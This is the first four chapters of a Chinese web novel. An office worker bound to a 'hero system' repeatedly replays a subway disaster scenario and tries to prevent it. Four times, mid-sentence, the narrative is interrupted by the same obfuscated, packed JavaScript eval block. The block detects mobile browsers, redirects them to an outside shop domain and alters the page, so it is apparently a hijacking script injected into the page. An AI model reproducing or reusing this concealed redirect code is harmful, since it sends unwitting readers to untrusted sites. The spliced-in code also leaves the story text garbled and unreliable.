《社畜十年,英雄养成系统来了》 1. 第1章 第六十六次模拟 冰冷,嘈杂。 当江闻舟第六十六次在模拟器里选择了【重新开始模拟】后,他又又又一次出现在了这辆熟悉的地铁上。 早上六点的地铁格外闷热。 当江闻舟站在这个拥挤的沙丁鱼罐头里时,分明新的一天尚未开始,他的脸上就已经有了熬夜工作到早上六点的死人微活感。 “所以说……为什么是我啊……” 拥挤而嘈杂的人群中,江闻舟微微仰头,目光涣散,脑袋一片空白,已经不想再听到任何话语、做出任何思考了。 但人们手机里的各种软件,还在忠实地为他播放重复了六十六遍的新闻和娱乐: 【……对于守望者组织昨日发布的最新版《社区级外星入侵及衍生灾害应对指南》,联盟应急管理部门的回复如下:……】 【你是我的小啊小苹果,怎么爱你都不嫌多……】 【星寰科技股价今日开盘再度走高,单日涨幅达5%……市场分析显示,其主营的民用防护与应急产品板块近期持续获得资金青睐,反映出民众安全消费意愿的显著提升……专家称,这是大众消费能力与市场信心的又一重要指标……】 【……我可以理解有些人说自己是牛马,但不能理解一些人说自己是猪狗。因为第一,狗吃的比你好,第二,猪是冷白皮……】 【……今日凌晨一点,东区工业园发生了一起重型工业机器人失控事件,所幸地球群星联盟新晋A级英雄‘黄金之星’及时赶到,现场无人员伤亡……】 听到“黄金之星”的名字,江闻舟才终于回神,向自己身前坐着的年轻姑娘瞥去一眼。 他思考了一秒,手在脸上轻轻一抹,明明面容没什么太大变化,可就是从一个“底子很好但备受工作磋磨的帅哥”变成了“平平无奇的路人甲”。 随后,江闻舟伸出手,说道:“你好,美女,可以给我看看这条新闻吗?” 年轻姑娘一愣,茫然抬头,定定看了江闻舟两秒,脸上后知后觉生出警惕:“你、你没有自己的手机吗?” 江闻舟也不解释,微微一笑,说:“等一会儿会有人打电话给你。” 年轻姑娘:“啊?” 江闻舟:“是你的渣男前男友,他想要来找你复合,但你千万不要答应,因为这次的复合是‘主人的任务’,现在这对狗男女正在隔壁车厢看你反应呢。” 年轻姑娘:“啊?!!” 滴滴嗒嘀嗒、滴滴嗒嘀嗒—— 年轻姑娘的手机响起了。 这一刻,以江闻舟为圆心的这半截车厢里的所有人,几乎都看了过来。 噪杂声越来越小,直至于无。 而当这一圈的人们都安静下来后,外围的人也开始注意到这边时,江闻舟平淡道:“小心一点,别太明显了,那对男女就在隔壁车厢看着呢。” 一瞬间的寂静后,众人又若无其事地大声交谈起来。 只不过话语牛头不对马嘴。 “喂?老张啊,我今天去学校,你记得把庆功宴定了啊……什么你问什么地方?碧海蓝天游泳池啊!” “妈?喂,妈,对的对的,我现在在看热、气球,对对对,我在看热气球……” “亲爱的,醒了没?吃了没?上班了没?打卡迟到了没……” 一顿闹哄哄的杂音中,有一个好心人AKA看热闹的路人,提示了一下年轻姑娘,指了指姑娘手上的手机。 “美女,你手机响了,不准备接电话吗?” “啊?啊!哦……” 年轻姑娘还是第一次被这么多人关心接不接电话。 她露出尴尬无措又暗藏荒谬的笑容,看向自己手机屏幕上来电显示的“死渣男”,犹豫了一下,到底在围观众人热切的目光下接通了电话。 并开了外放。 “……喂。” 年轻姑娘的话还没落音,手机那头就传来了一声啜泣。 “沫沫,对不起沫沫,我不该、嗯~不该骗你的……我出轨了真的很对不起,但是我、啊!但是我、我真的……喜欢你……唔……沫沫,沫沫我们复合好不好?” 说着说着,电话那头又传来了一声巨大的啜泣声,随后,一个女人隐约的笑声响起。 这一刻,年轻姑娘身边的人群再次死寂,嘴巴大张,眼珠子都快要掉下来了。 而年轻姑娘脸上也是青了黑,黑了绿,绿上加绿,绿到冒烟。 她腾地站了起来,两只眼睛瞪得如同捉鬼的钟馗,看了看左边,又看了看右边。 江闻舟善意提示:“左边车厢,过门就能见到,角落里那个面对墙壁瑟瑟缩缩的墨镜男。至于他的‘主人’,坐在离他最近的座位上,短头发,穿着抹胸和皮裙。” 年轻姑娘挺胸抬头,就要冲去打渣男,两步后又拐了个弯,一把握住江闻舟的手,感激道:“这位帅哥,真的太感谢你了,我就说这个狗男人这段时间怎么突然就哪哪儿都不对了,偏我还说不上来…… “我以为他只是单纯的出轨了,没想到……谢谢啊,谢谢你啊帅哥,如果不是你,我就真成了这对狗男女play的一环了!” 说着,年轻姑娘一把把自己的手机塞给了他:“这手机帅哥你想看,我就先放你这儿了,千万别客气,流量你随便用,等我揍完狗男人我就回来拿,千万别跟我客气啊!” 说完,年轻姑娘头发一甩,气势汹汹地向左边的车厢冲去了。 而在她的身前,原本拥挤如沙丁鱼罐头的人群,此刻竟像是摩西分海一样分出了一条道路,让人不由感慨人果然与时间强相关,挤挤总会有的。 年轻姑娘冲去了另一节车厢,随后,她的怒骂声,男人惊叫解释的声音,以及一个陌生女声自辩的声音此起彼伏。 这样难得的热闹,迅速带走了这节车厢内相当一部分看热闹的人。 原本密不透风的空间松动了一些,这也让被挤得头晕眼花的江闻舟有了喘息之机,趁机靠在车厢壁上,长长松了口气。 但很快的,还没等江闻舟拿起手机,回放那个有关“黄金之星”的新闻,又一个人坐在了江闻舟身边。 一根烟递了过来,“哥们,来一根?” 江闻舟礼貌拒绝:“不用了,朱厚先先生,你藏一根烟不容易,还是留着自己抽吧。” 隔壁座位上的人一愣。 江闻舟又说:“更何况, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600295|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公共场合,不能吸烟。” 长相和蔼的朱厚先呵呵笑了起来,收起烟:“果然有两把刷子啊……哥们,怎么称呼?” “一个路人。”江闻舟一边反复看新闻播报里“黄金之星”的对敌片段,一边说道,“朱先生不去隔壁看热闹吗?我看大家都去了。” 朱厚先笑得有些小得意,敲了敲自己的脑袋:“平庸的人围观热闹,聪明的人抓住机会!有哥们你这样的人物在身前,我哪里还需要去看什么热闹?” 江闻舟表情平淡,“哦”了一声:“所以,你有什么烦恼想拜托我解决? “我事先声明,我不是灵媒,也不是跳大神的,更不是那些第一天觉醒了预知能力的英雄,特意蹲在早六的地铁上玩人前显圣的把戏。 “我只是出于某种渠道,比普通人多了解了一些事而已,所以如果你觉得有什么事让你很难开口,那你最好不要开口。” 江闻舟的冷淡宣言,不但没有劝退朱厚先,反而令他更确定自己是转大运遇上隐世高人了。 毕竟那句话怎么说的——大隐隐于市嘛! 这年头,除了满天飞的注册英雄外,平民英雄也很多,藏在民间的世外高人,就更多了! 于是,朱厚先脸上堆笑,对江闻舟越发热情了,几乎要跟江闻舟表演一个苍蝇搓手。 “哥们,兄弟,你大可放心,我知道你们这一行都有规矩,不能随随便便给人算命——” 江闻舟:“也不是算命的。” “我知道,我知道!我可是懂行的!”朱厚先拍着胸脯,朝江闻舟挤眉弄眼,“是这样的,大师、不,兄弟,我只是想要问问你,我今天的运势怎么样,没别的,就问问运势!” 说着,这位“懂行”的人懂事地塞了块玉石过来。 成色不算很好,但也是万把来块。 更重要的是,玉石是“英雄”之间的通用货币之一,就像是修仙小说里的灵石之于修士。 江闻舟也不推辞,随手接过,目光仍然没有从手机屏幕上移开,语气却郑重两分,不容置疑道: “朱厚先先生,你从小就对危机有着非同常人的预感,你之所以病急乱投医,肯花这个价钱来找我这个陌生人,是因为那种预感已经强烈到让你控制不住恐惧了吧?” 朱厚先眼睛瞪圆了,本来就对江闻舟有几分信服的他,更是一下子相信了个彻底: “对对对!大、不,大兄弟,我跟你说,我从小就能隐约预感到一些事,特别是一些不太好的事。 “而今天不知道怎么的,我一上地铁,就觉得那叫一个心惊肉跳的,呼吸都要喘不上来了……这种感觉可太吓人了,以前从没有过这么强烈的!所以我就想问问大师你,要怎么化解才好?” 这一刻,江闻舟前六十五周目所有的失败、试探、反复的尝试与探索,终于汇聚成了这唯一的答案。 他抬头,看向眼前的朱厚先,道:“朱先生,你其实应该猜到了才对……你今天登上地铁后,感到的所有预兆和不安,都导向了一个答案:你会死。” 朱厚先瞳孔一缩。 “并且,我们所有的人都会跟你一起死——就在三十分钟后!” 2. 第2章 人工智障 今天,本该是江闻舟穿越到《异我之名》这个世界后的第二十个平平无奇的年头。 他依旧按照自己的往日习惯,清晨五点醒来,洗漱完毕后,下楼吃了一屉六块的包子,配了一杯两块的豆浆。 江闻舟的胃口不大,这点儿早餐刚好能将肚子填到六分饱。 五点二十五分,他准时坐上了去市中心的地铁,开启了又一个平平无奇挣窝囊费的一天。 然而,就在六点整——在这个特殊又不特殊的时间点上,江闻舟被一个突然降临的系统绑架了。 【十八岁,你从大学毕业,心怀壮志,虽还未正式成为英雄,却已经有了一颗英雄的心。】 江闻舟:? 他从手机屏幕上抬头,环顾四周,以为又是地铁上的哪个人才玩起了XX模拟器,还开了外放。 可很快的,江闻舟意识到这声音竟是从自己耳边传来的。 【为了成为真正的英雄,获得加入地球群星联盟的资格,你一直在等待一个能够展现自己的机会。】 江闻舟摘下耳机,检查了手机后台,甚至把手机调成了静音。 但那机械音仍在耳畔响起,不疾不徐。 江闻舟一愣,心中咯噔一下,瞬间明白了两件事。 好消息:系统找上门来了!他江闻舟也有金手指啦! 坏消息:金手指迟到了十年,并且好像是个人工智障。 为什么说是“人工智障”? 多简单呐,他江闻舟都当了十年社畜了,今年是二十八! 结果系统来了句【你今年十八岁】……连这么基本的事都搞不清楚,真的很难让人相信它得专业性啊。 系统不懂江闻舟的大惊失色。 它仍在一板一眼地念着开场白: 【现在,机会就在眼前——请阻止即将发生的地铁大屠杀,制服凶手,拯救所有无辜者。】 江闻舟:“……” 不是,你等会,你先等等? 什么叫即将“发生的地铁大屠杀”?! 今天难道不是绑定系统的第一天吗? 怎么上来就给他搞了个这种大场面? 【本系统将为即将成为英雄的宿主提供救援场景模拟。】 【场景模拟已开始,倒计时3,2,1……】 下一秒,江闻舟就发现自己站在了一片虚无中。 在他脚下的,既不是坚实的地面,也不是隐约震颤的地铁车厢,而是一条如银河般璀璨的流动光带。 在他的头顶,不是浩渺又深邃的星空,也不是安装着刺眼灯管的地铁顶端,而是不断生成又湮灭的几何图形。 无垠的世界在江闻舟眼前沉默展开,四下无声,只有江闻舟剧烈的心跳声响起。 噗通、噗通、噗通—— 像是某种他早已放弃,甚至遗忘了的东西,重回他的心中。 江闻舟沉着地接受了自己成为天命之子的事实,稳重地接收了这个从天而降地金手指。 在做好了重新踏上英雄之路的准备后,江闻舟郑重地点下了【开始模拟】。 然后—— 他所有的激动和踌躇满志,都在短短一个回合的模拟里消失了。 没别的原因。 他的异能力,真的太废了。 当江闻舟稀里糊涂地完成第一次地铁大屠杀的模拟,又稀里糊涂地靠自己异能力支撑到救援赶来时,他回头看着满目疮痍的地铁,还有地铁上那些死不瞑目的普通人的尸体,他的第一反应甚至不是愧疚,而是一种说不出的惆怅: “原来……我真的不适合当英雄啊……” 江闻舟是有过英雄梦的。 因为他曾经也是一个备受瞩目的天才。 《异我之名》是一部以外星人入侵地球为背景,讲述地球英雄挺身而出、和外星星舰互轰光波的漫画。 抛开剧情不谈,从本质上来说,这本漫画就是酷炫的异能者大战,所以它的基础通行证就是“异能力”。 只有在脑中观想出灵能核心,觉醒异能力,才有资格登上这个舞台。 江闻舟是二十年前穿越而来的。 那一年,也是地球异能力者数量爆发性增长的元年。 江闻舟便搭上了时代的快车,在脑中顺利观想出了自己的灵能核心,觉醒了异能力。 他第一时间将这件事上报,并在官方组织【地球群星联盟】里注册登记,成了资格最老、年纪最小的注册英雄,没有之一。 当时,无数人对他寄予厚望,认为他小小年纪就能觉醒灵能核心,日后成就必然不可限量! 但可惜,这却是个“伤仲永”的故事。 早早觉醒灵能核心的江闻舟,直到九岁那年才彻底搞清了自己异能力的作用:分裂出一个比本体能力稍稍强一点的能量虚影。 虚影约有他1.2倍的身体素质,最多只能存在一小时,无法离本体太远,一旦受损,江闻舟本人也会受到一定程度的精神伤害。 然后呢? 没了。 对,就这么简单! 江闻舟的异能力,就是如此弱小的垃圾能力! 当别人的异能力毁天灭地,摘星移月,甚至定义规则,重塑能量时,他的异能力,却只是分裂出一个虚影,还是如此弱的虚影。 这样的异能力,如何对得起“天才”之名?! 于是,十岁那年,江闻舟搬出了有专业人士层层保护的秘密基地。 十二岁那年,江闻舟身边的最后一个保镖也被撤走。 十五岁那年,地球群星联盟的办事处委婉告诉他,哪怕他再怎么坚持锻炼,也只是普通人的水平,连D级英雄也很难评上。 十八岁那年,所有人都劝他不要浪费自己十八岁就大学毕业的脑袋,专注学业,换个方向为国发光发热。 江闻舟不信邪,不顾家人的劝阻,梗着脖子去参加了英雄评级。 结果,他坚持锻炼八年后辛苦构筑出来的虚影,在评级现场,被一名最普通的D级英雄,用最纯粹的力量和速度,三拳就打散了。 从群星联盟回到家,江闻舟把自己关在房间里,整整两个月都没有踏出门一步。 两个月后,江闻舟终于走出房门。 又两个月后,江闻舟注销了自己的英雄身份,找到了一份工作,在知名企业星寰科技公司旗下的分公司——星宇股份有限公司担任数据分析师。 日子就这样平平淡淡地过了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600296|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾经短暂降临在江闻舟身上的一切荣光、人脉和报道,都离他远去。 时至今日,网络上恐怕早已没有人再记得,当年那个八岁就观想出灵能核心、成为注册英雄的天才孩童。 就连江闻舟自己,也只是在极偶然的情况下,才会翻出当年的剪报,花上十分钟,缅怀那段短暂的峥嵘岁月。 然后,十分钟一到,他就要从那段光鲜亮丽的回忆中抽身,继续投入工作,回到自己那一眼就能看得到尽头的人生轨迹中。 但,系统的降临,无疑点燃了江闻舟当年强行熄灭的野心。 它的到来,证明了所有人都看错了他江闻舟,证明他江闻舟就是有成为英雄的潜力! 只可惜,幻想是滚烫的,现实是冰冷的。 短短半个小时后,江闻舟心里重燃的那点小火苗,就蔫了个彻底。 原因有很多: 比如说,坐了十年办公室的江闻舟,已经是彻头彻尾的社畜了,身体远不如年轻时耐操,自己跑不快就算了,用能量构筑出来的虚影竟也虚得不行。 又比如说,社畜是典型的低精力人群,日常的工作就已经耗尽了他们的所有热血和壮志。当江闻舟真正置身分秒必争的险地时,他的第一反应是“我救自己就已经很艰难了哪有心思去救旁人?” 还比如说…… 总之,梦想与现实有着巨大差距。 十八岁的人和二十八岁的人,也终究是不一样的——不仅是身体素质,而是各种意义上的不一样。 于是,理所当然的,江闻舟第一次的英雄模拟评级为E。 系统对江闻舟的表现评价是: 【等级E是本系统评级的下限,不是您的下限。】 江闻舟:嚯,骂人还用“您”,这么礼貌的吗? 江闻舟也不是一个躺平挨骂的人。 他向系统抗议道:“请你搞搞清楚,我没有过人的异能和力量,只是一个普通人而已。你让这样普通的我去当制止灾难、拯救所有人的大英雄,你不觉得你有点强人所难吗?” 系统:【检测到宿主消极情绪。根据初始扫描数据,宿主八岁时潜力评估为S级,如今十八岁的您正是践行英雄之路的最佳时间点,对于宿主提出的问题,建议可按照标准英雄应对流程执行。】 江闻舟:“……” 人工智障! 听到没? 人工智障!! 但没办法。 这样的模拟,是为了救人,更是为了救己。 为了避免第一次结束模拟时缺胳膊断腿的状态,江闻舟很快又进行了第二次模拟,之后是第三次,第四次……第十三次模拟! 连续十三次的模拟,江闻舟都为了保住自己的小命,付出了惨重代价。 更可怕的是,这十三次模拟中,他甚至都没有靠近过风暴中心,而只是被地铁上突然爆发的异能力者大战擦了个边! 于是,第十四次模拟,发现无论如何都没办法通过逃避来保全自己的江闻舟,第一次选择了迎难而上—— 好好好,你搞大屠杀是吧? 他倒要看看,是哪个天杀的王八蛋,才会在早上六点的地铁上狂杀社畜! 真**亏你想得出来! 3. 第3章 线索 江闻舟决定去看看那个害自己断手断脚了十三次的混蛋玩意儿到底长什么模样。 但直到这第十四次的模拟结束,江闻舟都没能靠近战场中心。 原因是—— 打起来前,地铁人太多了,他挤不进去;打起来后,地铁尸体太多了,他挤不进去。 真是个地狱笑话。 第十五次模拟,江闻舟学聪明了,不再对自己抱有盲目的信心,认为半个小时的时间足够他穿过沙丁鱼罐头、挤到案发地点了。 他环视四周,很快找到了一个劲爆的八卦中心:坐在他面前座位上的年轻姑娘简沫沫。 在前头的许多次模拟中,江闻舟和周遭的乘客,都清楚听到了这姑娘手机里传出的暧昧声音,也看到了这姑娘脸色是如何由青到黑,由黑到绿,绿上加绿,绿到冒烟的。 但那几周目里,江闻舟也只是和旁的乘客一样,默默啐了一口渣男就算完。 可巧了不是——就在上一周目,江闻舟在人挤人的过程中,偶然发现那对狗男女竟然就在隔壁车厢! 他们竟然在公共场合玩“主人的任务”这种游戏! 江闻舟:真是长得丑玩得花,国人还是有点太包容了。 不够包容的江闻舟当即决定,要用这对突破下限的狗男女,把人群引走,给他创造一个能在车厢内顺利移动的空间! 因此,在这一周目里,江闻舟果断用极浮夸的语调揭露了这个“游戏”的真相,点明了狗男女的位置,成功引走了车厢大部分的人,也令自己的探查行动向前迈出一大步。 倒计时27′16″ 越往后头走,车厢的人数越少。 很快,江闻舟就来到了他记忆中爆发冲突的大致位置。 倒计时18′23″ 江闻舟锁定了关键的三节车厢,却迟迟锁定不了具体的人。 他皱眉沉吟,开始回想自己前十四次模拟时的记忆。 在江闻舟前十几次模拟的记忆中,当时的冲突,是在离他较远的地方发生的。 先是非常灼热的气浪贯通前后车厢,金属扶手在这一瞬间烫得吓人! 许多靠在金属扶手上的乘客,都感到一阵骇人的热意,被烫得发出嗷嗷大叫,可还没等他们来得及抱怨这古怪的地铁,车厢灯光也失控了。 那些本该一直明亮的灯,像是接触不良一样疯狂闪烁,很快就彻底熄灭,只剩应急灯提供着幽绿色的、鬼火一样的光源。 可就连这样可怕的光,也在短短五秒内熄灭了。 “啊!!!” 黑暗与恐慌迅速蔓延,人们的抱怨声、尖叫声、惊吓声甚至哭泣声,接连响起。 突然,地铁一声震响,像是有某种核心结构被破坏掉了,整条列车开始急剧减速。 地铁上的所有乘客包括江闻舟,都没有任何防备,在这可怕的惯性下被直接抛飞、栽倒! 这一刻,这个密闭、黑暗、闷热的可怕空间,好似真的变成了沙丁鱼罐头,而他们这些无助且无能为力的鱼,则在这个无人在意的罐头里滚得乱七八糟。 第一批伤亡就是在这样的情况下出现的。 江闻舟在这样混乱的第一周目里,其实都没怎么感觉到疼,因为飙升的肾上腺素支撑着他的身体,曾经的英雄训练帮他做出了正确的决定: 没有试图爬起来,而是直接滚到了座椅底下,避免二次甚至多次伤害。 事实证明,江闻舟的选择是对的,因为几乎就在他滚到座位下的瞬间—— 砰!砰!砰!砰! 一扇扇玻璃碎裂的声音连成一片,飞溅的碎片划伤了无数惊声尖叫的人。 吱呀! 一声令人牙酸的巨响,地铁车厢的顶部被无形的力量一把揭开,就像是被人用力掀开了头盖骨。 而后,一根接一根的柱子、扶手、金属护栏、金属座椅,都脱离了原处,开始在车厢内旋转,大量的血液甚至骨肉,都在这一刻泼洒出来,让人分不清它们究竟是来自一个人,还是来自一个又一个的人。 但很快的,这样的旋转停止了,因为所有的一切,地铁碎片也好,人群也好,甚至地铁本身,都在向着天空、向着那个巨大的暴风眼飞去! 那一瞬间,江闻舟站在漂浮的地铁上,看着自己眼前满天飞翔的地铁碎片、人类、以及人类碎片,血液冻结,突然对这个自己生活了二十年的世界失去了实感。 这个世界……好虚假啊。 这样的灾难,也好虚假啊。 因为—— 真正的世界里,怎么会出现这么可怕的一幕?! 后来,当这场可怕的混乱终于过去,而江闻舟也千辛万苦地苟下一条命后,江闻舟如蝼蚁一样手足无措地站在一旁,听前来救援的群星联盟低声讨论: “……事件是从地铁的中段发生的,一个风系异能力者突然暴走了……据调查,他不在群星联盟的注册英雄里,也没有为其他组织效力过的痕迹……我推测,他应该是在重大的生活压力下,突然觉醒了异能力,但因为异能力太强大,他无法控制,所以才制造了这起意外……” “不,不是意外,也不是风系异能者决定报复社会,路过的联盟英雄挺身而出的戏码,而是三个元素系异能者的战斗——两个火系一个风系。” “两个火系?除了我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600297|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 联盟的太阳风,原来还有第二个火系异能者吗?” “是的,虽然反应很微弱,但地铁上的确留有非太阳风的火系异能者的痕迹。” “这样啊……那莫非是风系异能者最初暴走的时候,他曾经试图阻止,但因为能力太弱,所以直接就……” “不太清楚。总之,我们需要先找到这个火系异能者才行。活要见人,死要见尸。” …… 第三次模拟。 因为挣扎太过,反而受伤比前两次都要重的江闻舟,躺在救护车里,听护士们低声谈论: “……这次地铁里死了的人里,有守望者组织的,据说还挺重要呢……” “哇!那联盟这回惨了,他们今天早上还说,守望者组织的担忧都是杞人忧天,一切都在计划中,要大家相信官方英雄组织的实力,结果半天都没过呢,就来了这么一出……” “欸,你知道守望者组织的那个‘重要人物’是谁么?” “不知道,听人说是姓马还是姓朱来着……” …… 第六次模拟。 群星联盟的情报人员正向赶来支援的英雄低声报告: “调查结果出来了,这次暴走的风系异能者叫——” 情报人员一顿,看向竖着耳朵的江闻舟。 江闻舟尴尬一笑,悻悻离去。 …… 第八次模拟。 江闻舟第一次接触到了这场异能者大战中,属于联盟派系的那位英雄,太阳风。 他是一个穿着很潮的年轻人,看起来也就十八岁左右,黑色的头发发尾微翘,胸前的口袋还放了一副高级墨镜。 怎么看,他都像是养尊处优的年轻公子哥。 可他眉目间的成熟与疲惫,却远超他的同龄人。 当太阳风看到江闻舟的接近时,他显然十分惊讶,而当他听到江闻舟的问题时,他更是露出了抱歉的表情。 “你问那个造成这一切的罪魁祸首?抱歉,我能理解你的心情,但保密条款……总之,他应该不会再出现在任何人面前了。我是这么想的。” …… 第十二次模拟。 呼啸的火与风中,江闻舟隐约听到有人发出了近乎癫狂的笑声。 “哈哈哈……” “如果世界就是容不下我,如果整个世界都要逼着我去死……” “那你们就跟我一块下地狱吧!” “哈哈哈,哈哈哈哈哈!” …… 第十五次模拟。 江闻舟蓦地睁开眼。 对了,就是这个—— 他想到了! 4. 第4章 普通人 江闻舟想到了什么?是想到了破局的方法吗? 错! 江闻舟想到的是,自己之所以连扑十四局,并且每次都以断胳膊断腿收尾,根本就不是因为他不够努力。 而是因为他的思维,钻进了巨大的死胡同里。 这一切都要怪系统——是它的出现,让他误以为自己真的又有了成为英雄的可能,以为自己也能像传奇英雄一样,用异能力呼风唤雨,改变世界。 正是这种荒谬的错觉,才让他在之前的十几周目里,像得了失心疯一样,把自己的异能力用在了自救上。 可天知道,他的异能力根本就没有战斗力啊! 他就不是一个战斗人员,甚至都不是注册英雄! 他明明只是一个普通人。 他怎么能因系统的几句吹捧、几次胡言乱语,就真的以为自己是个英雄?就真的以为自己有扭转乾坤的能力? 所以,回到关键问题—— 当一个普通人,发现地铁上即将迎来一场灾难时,会怎么做? 举报! 当然是举报! 把线索交给专业人士去处理,这就是一个普通人能做到的极限了。 想通这一点,普通人江闻舟立即摆正心态,打开手机,拨通了置顶的官方紧急求救号码。 他编造了一场阴谋对话,声称自己偶然听到某个未注册的风系超能力者,正计划要在地铁上制造事端,甚至搬出了自己曾经的注册英雄身份作保,信誓旦旦地强调灾难即将发生。 直到接线员郑重回应,承诺立即联系最近的注册英雄前来处理,江闻舟才放下心来,狠狠松了口气。 “这次……总该没问题了吧?!” 哪怕那个风系异能力者最后再次暴走,可当有了同在地铁上的太阳风阻拦,再加上即将赶到的注册英雄的威慑,那小子怎么也得收敛两分吧? 稳了稳了。 这回肯定稳了。 江闻舟是这样想的。 并且,这件事的结果似乎比他预想得更好:倒计时结束后,本该按照他记忆中爆发的灾难,竟然没有掀起半点风波! 一切消弭于无形! 又半个小时后,七点。 江闻舟安全走出地铁站,沐浴在阳光下,心中满是舒畅。 然而下一秒—— 叮! 新闻推送声响起。 江闻舟低头一看,目光从漫不经心转为惊愕。 【东区地铁环线T-07列车突发严重事件……今日上午6时46分许……因异能力失控引发重大公共安全事故,造成147人遇难,132人受伤……】 T-07? 那不正是他乘坐的T-06的相邻线路吗? 那个风系异能力者……在发现没办法在T-06上逞凶后,竟然直接跑去了T-07?! 江闻舟的呼吸骤然停滞,心脏疯狂跳动。 也是在这一刻,他眼前的景象凝固了。 一段文字轻轻浮现: 【作为一个英雄,你却以社畜般圆滑的方式,躲避了眼前即将发生的灾难。但当一处地方的火焰被强行熄灭后,另一处的恶火却必然升起。】 【你躲避了一场灾难,却又间接令另一场灾难熊熊燃烧。】 【这一切的一切,真的是你想要的吗?】 【本次英雄模拟评级:D】 【请选择——】 【回到现实/重新开始模拟】 · 江闻舟再一次回到了那无垠的世界里。 他的头顶,依然是不断生成又不断湮灭的几何图形,他的脚下,也还是那条熟悉的银河般璀璨的流动光带。 但这绚丽的一幕,却再无法带给江闻舟更多震撼和感动,而只剩下说不出的烦躁。 脑中,模拟结束时的系统评价,在他眼前一遍又一遍地回放。 【这一切的一切,真的是你想要的吗?】 不然呢? 难道还真的指望他一个普通人去当英雄吗? 【作为一个英雄,你却以社畜般圆滑的方式,躲避了眼前即将发生的灾难。】 什么“英雄”,什么“圆滑”,什么“躲避”? 这段话难道是在责怪他吗? 可他明明都说了,他根本就不是什么英雄。 所谓的英雄,是指那些有超凡力量的人,是那些能呼风唤雨的人,是那些能一己之力改变规则甚至改变世界的人! 可他江闻舟是谁? 他是每天为了一点死工资忙忙碌碌奔波不定的社畜啊! 他是一个锻炼了无数年后还是被人三拳头就打散了异能体的废柴啊! 还有人记得那个笑话是怎么说的吗—— 拯救世界这种故事,永远只能发生在大学以下,因为当社畜听到世界毁灭时,他们只会说“还有这种好事?” 都说到这个地步了,事情难道还不够清晰吗? 一个社畜,一个废物,一个永远跟英雄无关的人,就是没有拯救世界的情结的! 如果真有什么情结,那也一定是毁灭世界的情结! 所以他选择举报,选择保护好自己,选择各扫自家门前雪,不行吗? 这就是他想要的,不行吗?! 【请选择——】 【回到现实/重新开始模拟】 碍眼的选项仍在江闻舟眼前浮动。 无论江闻舟看向哪个方向,都没办法躲开。 最后,江闻舟躲无可躲,抓狂道:“重新开始模拟,重新开始模拟!可以了吧?你满意——” 没等江闻舟说完,他第十六次出现在了这条熟悉的地铁上,愤怒的声音未绝: “了吧……?” 这一刻,原本人声噪杂的地铁车厢蓦地安静下来。 所有人都愕然抬头,看着“突然大叫”的江闻舟,身子下意识往后躲了躲,满脸写着“坏了,又有人上这个B班上疯了”。 江闻舟:“……” 行吧,至少这回不用拿别人的劲爆八卦表演引流了。 因为他就是行走的劲爆八卦。 江闻舟沉默瞬间,一撩头发,并且借着撩头发的这个小动作,用异能力虚影给自己脸上覆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600298|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一层深浅不一的阴影。 在保证绝不可能被熟悉的人认出来后,江闻舟转身离开。 而在他身前,车厢的人如摩西分海般给他让出道路。 江闻舟:“……” 江闻舟相信,此刻车厢众人看他的眼神,也必然跟当年海洋生物看摩西的眼神一样吧。 【叮!检测到被养成英雄江闻舟初步觉醒英雄之心。】 【英雄之心(一阶段)】 【效果:冷静+10,记忆+10】 【详细:所谓的英雄,就是坚定走在自己道路之上,无论是成功还是失败、荣誉还是尴尬,都绝不顾忌旁人目光的人!】 【备注:因为不再受到旁人目光的影响,你变得更冷静从容,就连大脑都更清晰了起来。】 江闻舟:“……” 所谓的英雄之心竟然指这个? 你玩尬的吧?! 江闻舟忍气:“然后呢?超能力呢?” 既然都说“英雄之心”了,超能力相关的能力,怎么也该被增强一下了吧? 系统:【系统无法理解用户的问题。】 江闻舟:“我在问你,这个‘英雄之心’,有没有对超能力的增强?” 系统:【哦,那没有。】 江闻舟:“……谢谢,去死吧。” 系统:【系统并无死亡概念,并且系统也从未惹怒过用户,所以此句并非是统身攻击。综合以上判断,经系统合理推测,当前用户正在向系统撒娇,系统应对此做出正面回应。】 